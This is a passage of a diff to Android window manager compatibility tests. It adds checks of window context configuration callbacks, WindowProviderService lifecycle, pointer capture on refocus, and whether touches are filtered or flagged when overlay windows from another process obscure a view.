+import android.content.ServiceConnection;
+import android.content.res.Configuration;
 import android.graphics.Rect;
+import android.os.Binder;
+import android.os.IBinder;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
+import android.server.wm.WindowContextTests.TestWindowService.TestToken;
 import android.view.View;
 import android.view.WindowManager;
+import android.window.WindowProviderService;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.rule.ServiceTestRule;
 
 import org.junit.Test;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Tests that verify the behavior of window context
  *
@@ -41,7 +64,7 @@
     @AppModeFull
     public void testWindowContextConfigChanges() {
         createAllowSystemAlertWindowAppOpSession();
-        final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
         final Context windowContext = createWindowContext(display.mId);
         mInstrumentation.runOnMainSync(() -> {
@@ -72,4 +95,200 @@
         assertEquals(expectedMetrics.getSize().getWidth(), bounds.width());
         assertEquals(expectedMetrics.getSize().getHeight(), bounds.height());
     }
+
+    @Test
+    @AppModeFull
+    public void testWindowContextBindService() {
+        createAllowSystemAlertWindowAppOpSession();
+        final Context windowContext = createWindowContext(DEFAULT_DISPLAY);
+        final ServiceConnection serviceConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {}
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {}
+        };
+        try {
+            assertTrue("WindowContext must bind service successfully.",
+                    windowContext.bindService(new Intent(windowContext, TestLogService.class),
+                            serviceConnection, Context.BIND_AUTO_CREATE));
+        } finally {
+            windowContext.unbindService(serviceConnection);
+        }
+    }
+
+    /**
+     * Verify if the {@link ComponentCallbacks#onConfigurationChanged(Configuration)} callback
+     * is received when the window context configuration changes.
+     */
+    @Test
+    public void testWindowContextRegisterComponentCallbacks() throws Exception {
+        final TestComponentCallbacks callbacks = new TestComponentCallbacks();
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+        final Context windowContext = createWindowContext(display.mId);
+        final DisplayMetricsSession displayMetricsSession =
+                createManagedDisplayMetricsSession(display.mId);
+
+        windowContext.registerComponentCallbacks(callbacks);
+
+        callbacks.mLatch = new CountDownLatch(1);
+
+        displayMetricsSession.changeDisplayMetrics(1.2 /* sizeRatio */, 1.1 /* densityRatio */);
+
+        // verify if there is a callback from the window context configuration change.
+        assertTrue(callbacks.mLatch.await(4, TimeUnit.SECONDS));
+        Rect bounds = callbacks.mConfiguration.windowConfiguration.getBounds();
+        assertBoundsEquals(displayMetricsSession.getDisplayMetrics(), bounds);
+
+        windowContext.unregisterComponentCallbacks(callbacks);
+    }
+
+    /**
+     * Verifies if window context on the secondary display receives global configuration changes.
+     */
+    @Test
+    public void testWindowContextGlobalConfigChanges() {
+        final TestComponentCallbacks callbacks = new TestComponentCallbacks();
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
+                .setPublicDisplay(true).createDisplay();
+        final FontScaleSession fontScaleSession = createFontScaleSession();
+        final Context windowContext = createWindowContext(display.mId);
+
+        windowContext.registerComponentCallbacks(callbacks);
+
+        final float expectedFontScale = fontScaleSession.get() + 0.3f;
+        fontScaleSession.set(expectedFontScale);
+
+        // We don't rely on latch to verify the result because we may receive two configuration
+        // changes. One may from that WindowContext attaches to a DisplayArea although it is before
+        // ComponentCallback registration), the other is from font the scale change, which is what
+        // we want to verify.
+        waitForOrFail("Font scale must be " + expectedFontScale + ","
+                + " but was " + callbacks.mConfiguration.fontScale, () ->
+                expectedFontScale == callbacks.mConfiguration.fontScale);
+
+        windowContext.unregisterComponentCallbacks(callbacks);
+    }
+
+    /**
+     * Verify the {@link WindowProviderService} lifecycle:
+     * <ul>
+     *     <li>In {@link WindowProviderService#onCreate()}, register to the DisplayArea with
+     *     given value from {@link WindowProviderService#getWindowType()} and
+     *     {@link WindowProviderService#getWindowContextOptions()}} and receive a
+     *     {@link Configuration} update which matches DisplayArea's metrics.</li>
+     *     <li>After {@link WindowProviderService#attachToWindowToken(IBinder)}, the
+     *     {@link WindowProviderService} must be switched to register to the Window Token and
+     *     receive a configuration update which matches Window Token's metrics.</li>
+     * </ul>
+     */
+    @Test
+    public void testWindowProviderServiceLifecycle() throws Exception {
+        // Start an activity for WindowProviderService to attach
+        TestActivity activity = startActivity(TestActivity.class);
+        final ComponentName activityName = activity.getComponentName();
+
+        // If the device supports multi-window, make this Activity to multi-window mode.
+        // In this way, we can verify if the WindowProviderService's metrics matches
+        // the split-screen Activity's metrics, which is different from TaskDisplayArea's metrics.
+        if (supportsSplitScreenMultiWindow()) {
+            mWmState.computeState(activityName);
+
+            putActivityInPrimarySplit(activityName);
+
+            activity.waitAndAssertConfigurationChanged();
+        }
+
+        // Obtain the TestWindowService instance.
+        final Context context = ApplicationProvider.getApplicationContext();
+        final Intent intent = new Intent(context, TestWindowService.class);
+        final ServiceTestRule serviceRule = new ServiceTestRule();
+        try {
+            TestToken token = (TestToken) serviceRule.bindService(intent);
+            final TestWindowService service = token.getService();
+
+            final WindowManagerState.DisplayArea da = mWmState.getTaskDisplayArea(activityName);
+            final Rect daBounds = da.mFullConfiguration.windowConfiguration.getBounds();
+            final Rect maxDaBounds = da.mFullConfiguration.windowConfiguration.getMaxBounds();
+
+            waitAndAssertWindowMetricsBoundsMatches(service, daBounds, maxDaBounds,
+                    "WindowProviderService bounds must match DisplayArea bounds.");
+
+            // Obtain the Activity's token and attach it to TestWindowService.
+            final IBinder windowToken = activity.getWindow().getAttributes().token;
+            service.attachToWindowToken(windowToken);
+
+            final WindowManager wm = activity.getWindowManager();
+            final Rect currentBounds = wm.getCurrentWindowMetrics().getBounds();
+            final Rect maxBounds = wm.getMaximumWindowMetrics().getBounds();
+
+            // After TestWindowService attaches the Activity's token, which is also a WindowToken,
+            // it is expected to receive a config update which matches the WindowMetrics of
+            // the Activity.
+            waitAndAssertWindowMetricsBoundsMatches(service, currentBounds, maxBounds,
+                    "WindowProviderService bounds must match WindowToken bounds.");
+        } finally {
+            serviceRule.unbindService();
+        }
+    }
+
+    private void waitAndAssertWindowMetricsBoundsMatches(Context context, Rect currentBounds,
+            Rect maxBounds, String message) {
+        final WindowManager wm = context.getSystemService(WindowManager.class);
+        waitForOrFail(message, () -> {
+            final Rect currentWindowBounds = wm.getCurrentWindowMetrics().getBounds();
+            final Rect maxWindowBounds = wm.getMaximumWindowMetrics().getBounds();
+            return currentBounds.equals(currentWindowBounds) && maxBounds.equals(maxWindowBounds);
+        });
+    }
+
+    public static class TestActivity extends WindowManagerTestBase.FocusableActivity {
+        final CountDownLatch mLatch = new CountDownLatch(1);
+
+        @Override
+        public void onConfigurationChanged(@NonNull Configuration newConfig) {
+            super.onConfigurationChanged(newConfig);
+            mLatch.countDown();
+        }
+
+        private void waitAndAssertConfigurationChanged() throws Exception {
+            assertThat(mLatch.await(4, TimeUnit.SECONDS)).isTrue();
+        }
+    }
+
+    public static class TestWindowService extends WindowProviderService {
+        private final IBinder mToken = new TestToken();
+
+        @Override
+        public int getWindowType() {
+            return TYPE_APPLICATION;
+        }
+
+        @Nullable
+        @Override
+        public IBinder onBind(Intent intent) {
+            return mToken;
+        }
+
+        public class TestToken extends Binder {
+            private TestWindowService getService() {
+                return TestWindowService.this;
+            }
+        }
+    }
+
+    private static class TestComponentCallbacks implements ComponentCallbacks {
+        private Configuration mConfiguration;
+        private CountDownLatch mLatch = new CountDownLatch(1);
+
+        @Override
+        public void onConfigurationChanged(@NonNull Configuration newConfig) {
+            mConfiguration = newConfig;
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onLowMemory() {}
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index f3905b0..e71685a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -60,7 +60,6 @@
 import android.view.WindowManager.LayoutParams;
 
 import androidx.annotation.NonNull;
-import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -225,7 +224,6 @@
      * - The window which lost top-focus can be notified about pointer-capture lost.
      */
     @Test
-    @FlakyTest(bugId = 135574991)
     public void testPointerCapture() {
         final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
                 DEFAULT_DISPLAY);
@@ -253,6 +251,31 @@
     }
 
     /**
+     * Pointer capture could be requested after activity regains focus.
+     */
+    @Test
+    public void testPointerCaptureWhenFocus() {
+        final AutoEngagePointerCaptureActivity primaryActivity =
+                startActivity(AutoEngagePointerCaptureActivity.class, DEFAULT_DISPLAY);
+
+        // Assert primary activity can have pointer capture before we have multiple focused windows.
+        primaryActivity.waitAndAssertPointerCaptureState(true /* hasCapture */);
+
+        assumeTrue(supportsMultiDisplay());
+        final SecondaryActivity secondaryActivity =
+                createManagedInvisibleDisplaySession().startActivityAndFocus();
+
+        primaryActivity.waitAndAssertWindowFocusState(false /* hasFocus */);
+        // Assert primary activity lost pointer capture when it is not top focused.
+        primaryActivity.waitAndAssertPointerCaptureState(false /* hasCapture */);
+        secondaryActivity.waitAndAssertPointerCaptureState(false /* hasCapture */);
+
+        tapOn(primaryActivity);
+        primaryActivity.waitAndAssertWindowFocusState(true /* hasFocus */);
+        primaryActivity.waitAndAssertPointerCaptureState(true /* hasCapture */);
+    }
+
+    /**
      * Test if the focused window can still have focus after it is moved to another display.
      */
     @Test
@@ -476,6 +499,16 @@
         }
     }
 
+    public static class AutoEngagePointerCaptureActivity extends InputTargetActivity {
+        @Override
+        public void onWindowFocusChanged(boolean hasFocus) {
+            if (hasFocus) {
+                requestPointerCapture();
+            }
+            super.onWindowFocusChanged(hasFocus);
+        }
+    }
+
     private InvisibleVirtualDisplaySession createManagedInvisibleDisplaySession() {
         return mObjectTracker.manage(
                 new InvisibleVirtualDisplaySession(getInstrumentation().getTargetContext()));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index ce0a51e..004e0dd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -20,32 +20,46 @@
 import static android.server.wm.BarTestUtils.assumeHasStatusBar;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.server.wm.WindowUntrustedTouchTest.MIN_POSITIVE_OPACITY;
+import static android.server.wm.app.Components.OverlayTestService.EXTRA_LAYOUT_PARAMS;
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.ContentResolver;
 import android.content.Intent;
+import android.graphics.Color;
 import android.graphics.Point;
 import android.graphics.Rect;
+import android.hardware.input.InputManager;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
+import android.server.wm.WindowManagerState.WindowState;
+import android.server.wm.app.Components;
 import android.server.wm.settings.SettingsSession;
+import android.util.ArraySet;
+import android.util.Log;
 import android.view.Gravity;
 import android.view.InputDevice;
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.WindowInsets;
 import android.view.WindowManager;
+import android.view.WindowMetrics;
 
 import androidx.test.rule.ActivityTestRule;
 
@@ -57,9 +71,11 @@
 
 import java.util.ArrayList;
 import java.util.Random;
+import java.util.Set;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Ensure moving windows and tapping is done synchronously.
@@ -69,14 +85,17 @@
  */
 @Presubmit
 public class WindowInputTests {
+    private static final String TAG = "WindowInputTests";
     private final int TOTAL_NUMBER_OF_CLICKS = 100;
     private final ActivityTestRule<TestActivity> mActivityRule =
             new ActivityTestRule<>(TestActivity.class);
 
     private Instrumentation mInstrumentation;
+    private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
     private TestActivity mActivity;
+    private InputManager mInputManager;
     private View mView;
-    private final Random mRandom = new Random();
+    private final Random mRandom = new Random(1);
 
     private int mClickCount = 0;
 
@@ -88,6 +107,7 @@
 
         mInstrumentation = getInstrumentation();
         mActivity = mActivityRule.launchActivity(null);
+        mInputManager = mActivity.getSystemService(InputManager.class);
         mInstrumentation.waitForIdleSync();
         mClickCount = 0;
     }
@@ -95,18 +115,18 @@
     @Test
     public void testMoveWindowAndTap() throws Throwable {
         final WindowManager wm = mActivity.getWindowManager();
-        Point displaySize = new Point();
-        mActivity.getDisplay().getSize(displaySize);
-
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
+        p.setFitInsetsTypes(WindowInsets.Type.systemBars()
+                | WindowInsets.Type.systemGestures());
+        p.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        p.width = p.height = 20;
+        p.gravity = Gravity.LEFT | Gravity.TOP;
 
         // Set up window.
         mActivityRule.runOnUiThread(() -> {
             mView = new View(mActivity);
-            p.width = 20;
-            p.height = 20;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            mView.setBackgroundColor(Color.RED);
             mView.setOnClickListener((v) -> {
                 mClickCount++;
             });
@@ -114,11 +134,10 @@
         });
         mInstrumentation.waitForIdleSync();
 
-        WindowInsets insets = mActivity.getWindow().getDecorView().getRootWindowInsets();
-        final Rect windowBounds = new Rect(insets.getSystemWindowInsetLeft(),
-                insets.getSystemWindowInsetTop(),
-                displaySize.x - insets.getSystemWindowInsetRight(),
-                displaySize.y - insets.getSystemWindowInsetBottom());
+        final WindowMetrics windowMetrics = wm.getCurrentWindowMetrics();
+        final WindowInsets windowInsets = windowMetrics.getWindowInsets();
+        final Rect windowBounds = new Rect(windowMetrics.getBounds());
+        windowBounds.inset(windowInsets.getInsetsIgnoringVisibility(p.getFitInsetsTypes()));
 
         // Move the window to a random location in the window and attempt to tap on view multiple
         // times.
@@ -131,12 +150,38 @@
                 wm.updateViewLayout(mView, p);
             });
             mInstrumentation.waitForIdleSync();
+            int previousCount = mClickCount;
+
             CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            mInstrumentation.waitForIdleSync();
+            if (mClickCount != previousCount + 1) {
+                final int vW = mView.getWidth();
+                final int vH = mView.getHeight();
+                final int[] viewOnScreenXY = new int[2];
+                mView.getLocationOnScreen(viewOnScreenXY);
+                final Point tapPosition =
+                        new Point(viewOnScreenXY[0] + vW / 2, viewOnScreenXY[1] + vH / 2);
+                final Rect realBounds = new Rect(viewOnScreenXY[0], viewOnScreenXY[1],
+                        viewOnScreenXY[0] + vW, viewOnScreenXY[1] + vH);
+                final Rect requestedBounds = new Rect(p.x, p.y, p.x + p.width, p.y + p.height);
+                dumpWindows("Dumping windows due to failure");
+                fail("Tap #" + i + " on " + tapPosition + " failed; realBounds=" + realBounds
+                        + " requestedBounds=" + requestedBounds);
+            }
         }
 
         assertEquals(TOTAL_NUMBER_OF_CLICKS, mClickCount);
     }
 
+    private void dumpWindows(String message) {
+        Log.d(TAG, message);
+        mWmState.computeState();
+        for (WindowState window : mWmState.getWindows()) {
+            Log.d(TAG, "    => " + window.toLongString());
+        }
+    }
+
     private void selectRandomLocationInWindow(Rect bounds, Point outLocation) {
         int randomX = mRandom.nextInt(bounds.right - bounds.left) + bounds.left;
         int randomY = mRandom.nextInt(bounds.bottom - bounds.top) + bounds.top;
@@ -144,26 +189,25 @@
     }
 
     @Test
-    public void testFilterTouchesWhenObscured() throws Throwable {
+    public void testTouchModalWindow() throws Throwable {
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
 
-        // Set up window.
+        // Set up 2 touch modal windows, expect the last one will receive all touch events.
         mActivityRule.runOnUiThread(() -> {
             mView = new View(mActivity);
             p.width = 20;
             p.height = 20;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            p.gravity = Gravity.LEFT | Gravity.CENTER_VERTICAL;
             mView.setFilterTouchesWhenObscured(true);
             mView.setOnClickListener((v) -> {
                 mClickCount++;
             });
             mActivity.addWindow(mView, p);
 
-            View viewOverlap = new View(mActivity);
-            p.gravity = Gravity.RIGHT | Gravity.TOP;
+            View view2 = new View(mActivity);
+            p.gravity = Gravity.RIGHT | Gravity.CENTER_VERTICAL;
             p.type = WindowManager.LayoutParams.TYPE_APPLICATION;
-            mActivity.addWindow(viewOverlap, p);
+            mActivity.addWindow(view2, p);
         });
         mInstrumentation.waitForIdleSync();
 
@@ -171,18 +215,349 @@
         assertEquals(0, mClickCount);
     }
 
+    // If a window is obscured by another window from the same app, touches should still get
+    // delivered to the bottom window, and the FLAG_WINDOW_IS_OBSCURED should not be set.
     @Test
-    public void testOverlapWindow() throws Throwable {
+    public void testFilterTouchesWhenObscuredByWindowFromSameUid() throws Throwable {
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
+
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        // Set up a touchable window.
+        mActivityRule.runOnUiThread(() -> {
+            mView = new View(mActivity);
+            p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+            p.width = 100;
+            p.height = 100;
+            p.gravity = Gravity.CENTER;
+            mView.setFilterTouchesWhenObscured(true);
+            mView.setOnClickListener((v) -> {
+                mClickCount++;
+            });
+            mView.setOnTouchListener((v, ev) -> {
+                touchReceived.set(true);
+                assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                return false;
+            });
+            mActivity.addWindow(mView, p);
+
+            // Set up an overlap window, use same process.
+            View overlay = new View(mActivity);
+            p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN | FLAG_NOT_TOUCHABLE;
+            p.width = 100;
+            p.height = 100;
+            p.gravity = Gravity.CENTER;
+            p.type = WindowManager.LayoutParams.TYPE_APPLICATION;
+            mActivity.addWindow(overlay, p);
+        });
+        mInstrumentation.waitForIdleSync();
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+        assertTrue(touchReceived.get());
+        assertEquals(1, mClickCount);
+    }
+
+    @Test
+    public void testFilterTouchesWhenObscuredByWindowFromDifferentUid() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            // Set up a touchable window.
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setFilterTouchesWhenObscured(true);
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                // Any opacity higher than this would make InputDispatcher block the touch
+                params.alpha = mInputManager.getMaximumObscuringOpacityForTouch();
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            // Touch not received due to setFilterTouchesWhenObscured(true)
+            assertFalse(touchReceived.get());
+            assertEquals(0, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testFlagTouchesWhenObscuredByWindowFromDifferentUid() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            // Set up a touchable window.
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
+                            ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                // Any opacity higher than this would make InputDispatcher block the touch
+                params.alpha = mInputManager.getMaximumObscuringOpacityForTouch();
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testDoNotFlagTouchesWhenObscuredByZeroOpacityWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                params.alpha = 0;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testFlagTouchesWhenObscuredByMinPositiveOpacityWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
+                            ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                params.alpha = MIN_POSITIVE_OPACITY;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testFlagTouchesWhenPartiallyObscuredByZeroOpacityWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED,
+                            ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName, 30);
+                // Move it off the touch path (center) but still overlap with window above
+                params.y = 30;
+                params.alpha = 0;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testDoNotFlagTouchesWhenPartiallyObscuredByNotTouchableZeroOpacityWindow()
+            throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                mView.setBackgroundColor(Color.GREEN);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName, 30);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                // Move it off the touch path (center) but still overlap with window above
+                params.y = 30;
+                params.alpha = 0;
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    private WindowManager.LayoutParams getObscuringViewLayoutParams(String windowName) {
+        return getObscuringViewLayoutParams(windowName, 100);
+    }
+
+    private WindowManager.LayoutParams getObscuringViewLayoutParams(String windowName, int size) {
+        WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+        params.setTitle(windowName);
+        params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        params.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+        params.width = size;
+        params.height = size;
+        params.gravity = Gravity.CENTER;
+        return params;
+    }
+
+    @Test
+    public void testTrustedOverlapWindow() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
         try (final PointerLocationSession session = new PointerLocationSession()) {
             session.set(true);
